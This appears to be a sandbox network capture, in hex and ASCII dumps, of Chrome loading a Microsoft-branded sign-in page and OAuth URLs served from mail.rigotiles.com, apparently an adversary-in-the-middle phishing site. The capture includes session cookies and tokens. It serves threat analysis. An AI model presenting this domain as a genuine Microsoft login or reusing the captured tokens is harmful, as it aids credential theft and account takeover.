sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-10-31 20:55:09 UTC	1340	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:08 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; Path=/; Domain=mail.rigotiles.com; HttpOnly; Secure; SameSite=None
2024-10-31 20:55:09 UTC	997	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 65 73 63 74 78 2d 36 77 6e 54 78 77 43 56 61 54 45 3d 41 51 41 42 43 51 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 32 65 36 35 6a 70 5f 73 38 49 76 66 59 49 33 44 4e 4c 42 53 4e 66 54 62 69 63 6b 62 5a 6d 5a 33 70 74 57 4a 33 39 46 72 61 31 76 39 4a 6c 62 48 42 34 31 47 50 33 49 76 6c 5f 59 65 77 55 67 5f 45 6c 65 31 70 52 32 4a 37 4f 67 69 5a 6d 35 41 74 51 49 72 4a 4a 56 46 73 7a 7a 56 6e 51 56 37 4c 6b 63 53 56 50 68 75 75 34 54 75 50 63 66 5f 76 61 61 55 63 65 45 5a 56 36 42 46 61 36 45 44 72 6d 38 41 57 45 61 79 48 59 48 54 37 50 45 58 6d 6b 57 6e 58 43 41 41 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 3b 20 48 74 74 70 Data Ascii: Set-Cookie: esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; Path=/; Domain=mail.rigotiles.com; Http
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e Data Ascii: 4000... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 76 32 25 32 66 4f 66 66 69 63 65 48 6f 6d 65 2e 41 6c 6c 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 6c 61 6e 64 69 6e 67 76 32 5c 75 30 30 32 36 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 2b 69 64 5f 74 6f 6b 65 6e 5c 75 30 30 32 36 73 74 61 74 65 3d 78 34 41 65 63 35 61 30 74 36 43 68 77 32 43 6d 67 33 6f 79 4f 50 63 2d 6d 77 42 32 75 30 63 68 30 4b 42 59 Data Ascii: d=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBY
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 74 72 75 65 2c 22 75 72 6c 47 69 74 48 75 62 46 65 64 22 3a 22 68 74 74 70 73 3a 2f 2f 79 77 6e 6a 62 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 2f 6f 61 75 74 68 32 30 5f 61 75 74 68 6f 72 69 7a 65 2e 73 72 66 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 5c 75 30 30 32 36 73 63 6f 70 65 3d 6f 70 65 6e 69 64 2b 70 72 6f 66 69 6c 65 2b 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 76 32 25 32 66 4f 66 66 69 63 65 48 6f 6d 65 2e 41 6c 6c 5c 75 30 30 32 36 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 66 6c 61 6e 64 69 6e 67 76 32 5c 75 Data Ascii: true,"urlGitHubFed":"https://ywnjb.rigotiles.com/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 41 66 67 68 61 6e 69 73 74 61 6e 7e 39 33 21 21 21 41 58 7e c3 85 6c 61 6e 64 20 49 73 6c 61 6e 64 73 7e 33 35 38 21 21 21 41 4c 7e 41 6c 62 61 6e 69 61 7e 33 35 35 21 21 21 44 5a 7e 41 6c 67 65 72 69 61 7e 32 31 33 21 21 21 41 53 7e 41 6d 65 72 69 63 61 6e 20 53 61 6d 6f 61 7e 31 21 21 21 41 44 7e 41 6e 64 6f 72 72 61 7e 33 37 36 21 21 21 41 4f 7e 41 6e 67 6f 6c 61 7e 32 34 34 21 21 21 41 49 7e 41 6e 67 75 69 6c 6c 61 7e 31 21 21 21 41 47 7e 41 6e 74 69 67 75 61 20 61 6e 64 20 42 61 72 62 75 64 61 7e 31 21 21 21 41 52 7e 41 72 67 65 6e 74 69 6e 61 7e 35 34 21 21 21 41 4d 7e 41 72 6d 65 6e 69 61 7e 33 37 34 21 21 21 41 57 7e 41 72 75 62 61 7e 32 39 37 21 21 21 41 43 7e 41 73 63 65 6e 73 69 6f 6e 20 49 73 6c 61 6e 64 7e 32 34 37 21 21 21 41 55 7e 41 75 73 Data Ascii: Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Aus
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 6c 61 6e 64 20 49 73 6c 61 6e 64 73 7e 35 30 30 21 21 21 46 4f 7e 46 61 72 6f 65 20 49 73 6c 61 6e 64 73 7e 32 39 38 21 21 21 46 4a 7e 46 69 6a 69 7e 36 37 39 21 21 21 46 49 7e 46 69 6e 6c 61 6e 64 7e 33 35 38 21 21 21 46 52 7e 46 72 61 6e 63 65 7e 33 33 21 21 21 47 46 7e 46 72 65 6e 63 68 20 47 75 69 61 6e 61 7e 35 39 34 21 21 21 50 46 7e 46 72 65 6e 63 68 20 50 6f 6c 79 6e 65 73 69 61 7e 36 38 39 21 21 21 47 41 7e 47 61 62 6f 6e 7e 32 34 31 21 21 21 47 4d 7e 47 61 6d 62 69 61 7e 32 32 30 21 21 21 47 45 7e 47 65 6f 72 67 69 61 7e 39 39 35 21 21 21 44 45 7e 47 65 72 6d 61 6e 79 7e 34 39 21 21 21 47 48 7e 47 68 61 6e 61 7e 32 33 33 21 21 21 47 49 7e 47 69 62 72 61 6c 74 61 72 7e 33 35 30 21 21 21 47 52 7e 47 72 65 65 63 65 7e 33 30 21 21 21 47 4c 7e 47 72 Data Ascii: land Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Gr
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 21 21 4e 50 7e 4e 65 70 61 6c 7e 39 37 37 21 21 21 4e 4c 7e 4e 65 74 68 65 72 6c 61 6e 64 73 7e 33 31 21 21 21 4e 43 7e 4e 65 77 20 43 61 6c 65 64 6f 6e 69 61 7e 36 38 37 21 21 21 4e 5a 7e 4e 65 77 20 5a 65 61 6c 61 6e 64 7e 36 34 21 21 21 4e 49 7e 4e 69 63 61 72 61 67 75 61 7e 35 30 35 21 21 21 4e 45 7e 4e 69 67 65 72 7e 32 32 37 21 21 21 4e 47 7e 4e 69 67 65 72 69 61 7e 32 33 34 21 21 21 4e 55 7e 4e 69 75 65 7e 36 38 33 21 21 21 4e 46 7e 4e 6f 72 66 6f 6c 6b 20 49 73 6c 61 6e 64 7e 36 37 32 21 21 21 4b 50 7e 4e 6f 72 74 68 20 4b 6f 72 65 61 7e 38 35 30 21 21 21 4d 4b 7e 4e 6f 72 74 68 20 4d 61 63 65 64 6f 6e 69 61 7e 33 38 39 21 21 21 4d 50 7e 4e 6f 72 74 68 65 72 6e 20 4d 61 72 69 61 6e 61 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 4e 4f 7e 4e 6f 72 77 61 Data Ascii: !!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norwa
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 4b 7e 54 6f 6b 65 6c 61 75 7e 36 39 30 21 21 21 54 4f 7e 54 6f 6e 67 61 7e 36 37 36 21 21 21 54 54 7e 54 72 69 6e 69 64 61 64 20 61 6e 64 20 54 6f 62 61 67 6f 7e 31 21 21 21 54 41 7e 54 72 69 73 74 61 6e 20 64 61 20 43 75 6e 68 61 7e 32 39 30 21 21 21 54 4e 7e 54 75 6e 69 73 69 61 7e 32 31 36 21 21 21 54 52 7e 54 75 72 6b 65 79 7e 39 30 21 21 21 54 4d 7e 54 75 72 6b 6d 65 6e 69 73 74 61 6e 7e 39 39 33 21 21 21 54 43 7e 54 75 72 6b 73 20 61 6e 64 20 43 61 69 63 6f 73 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 54 56 7e 54 75 76 61 6c 75 7e 36 38 38 21 21 21 56 49 7e 55 2e 53 2e 20 56 69 72 67 69 6e 20 49 73 6c 61 6e 64 73 7e 31 21 21 21 55 47 7e 55 67 61 6e 64 61 7e 32 35 36 21 21 21 55 41 7e 55 6b 72 61 69 6e 65 7e 33 38 30 21 21 21 41 45 7e 55 6e 69 74 65 64 Data Ascii: K~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 6c 65 73 2e 63 6f 6d 2f 63 6f 6d 6d 6f 6e 2f 44 65 76 69 63 65 43 6f 64 65 53 74 61 74 75 73 22 2c 22 75 72 6c 52 65 73 65 74 50 61 73 73 77 6f 72 64 22 3a 22 68 74 74 70 73 3a 2f 2f 70 61 73 73 77 6f 72 64 72 65 73 65 74 2e 6d 69 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 2e 63 6f 6d 2f 3f 72 75 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 6d 61 69 6c 2e 72 69 67 6f 74 69 6c 65 73 2e 63 6f 6d 25 32 66 63 6f 6d 6d 6f 6e 25 32 66 72 65 70 72 6f 63 65 73 73 25 33 66 63 74 78 25 33 64 72 51 51 49 41 52 41 41 68 64 49 5f 6a 4e 74 30 46 41 64 77 4f 37 6e 4c 33 55 56 41 6f 34 4a 51 32 55 34 56 45 6f 6a 44 79 63 39 5f 34 35 7a 55 53 6b 37 73 58 48 7a 6e 50 33 48 4f 54 6d 49 76 6b 57 4d 37 73 52 50 5f 69 57 4d 6e 54 72 77 69 4a 4d 5a 4f 44 4a 30 51 53 41 77 33 49 41 Data Ascii: les.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fmail.rigotiles.com%2fcommon%2freprocess%3fctx%3drQQIARAAhdI_jNt0FAdwO7nL3UVAo4JQ2U4VEojDyc9_45zUSk7sXHznP3HOTmIvkWM7sRP_iWMnTrwiJMZODJ0QSAw3IA
2024-10-31 20:55:09 UTC	1369	IN	Data Raw: 6d 6f 6e 25 32 66 72 65 70 72 6f 63 65 73 73 25 33 66 63 74 78 25 33 64 72 51 51 49 41 52 41 41 68 64 49 5f 6a 4e 74 30 46 41 64 77 4f 37 6e 4c 33 55 56 41 6f 34 4a 51 32 55 34 56 45 6f 6a 44 79 63 39 5f 34 35 7a 55 53 6b 37 73 58 48 7a 6e 50 33 48 4f 54 6d 49 76 6b 57 4d 37 73 52 50 5f 69 57 4d 6e 54 72 77 69 4a 4d 5a 4f 44 4a 30 51 53 41 77 33 49 41 51 4c 41 6f 47 59 62 36 71 51 57 44 6f 78 4d 46 55 71 6f 6d 58 70 68 4a 6f 72 63 38 58 79 39 48 33 76 36 55 33 76 55 7a 36 6f 56 38 6b 71 57 67 55 66 46 62 45 71 4f 48 32 66 71 46 4d 6b 51 5a 42 6a 42 4d 63 73 43 69 45 61 59 34 44 51 75 45 4d 68 71 4e 33 41 64 79 75 73 54 6c 6e 6d 38 6e 61 35 34 6e 37 36 45 5f 33 31 76 30 2d 5a 62 2d 34 5f 6e 66 33 54 46 55 36 75 34 47 4d 33 54 52 66 4a 61 61 32 57 5a 56 6b Data Ascii: mon%2freprocess%3fctx%3drQQIARAAhdI_jNt0FAdwO7nL3UVAo4JQ2U4VEojDyc9_45zUSk7sXHznP3HOTmIvkWM7sRP_iWMnTrwiJMZODJ0QSAw3IAQLAoGYb6qQWDoxMFUqomXphJorc8Xy9H3v6U3vUz6oV8kqWgUfFbEqOH2fqFMkQZBjBMcsCiEaY4DQuEMhqN3AdyusTlnm8na54n76E_31v0-Zb-4_nf3TFU6u4GM3TRfJaa2WZVk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	53715	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:09 UTC	410	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:09 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2488335 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:09 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-10-31 20:55:09 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-10-31 20:55:09 UTC	1	IN	Data Raw: 29 Data Ascii: )
2024-10-31 20:55:09 UTC	16383	IN	Data Raw: 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 Data Ascii: )}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t)
2024-10-31 20:55:09 UTC	16383	IN	Data Raw: 50 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 Data Ascii: P_E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"800411
2024-10-31 20:55:09 UTC	16383	IN	Data Raw: 22 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 Data Ascii: "UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0
2024-10-31 20:55:09 UTC	16383	IN	Data Raw: 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 Data Ascii: ,o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	53716	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

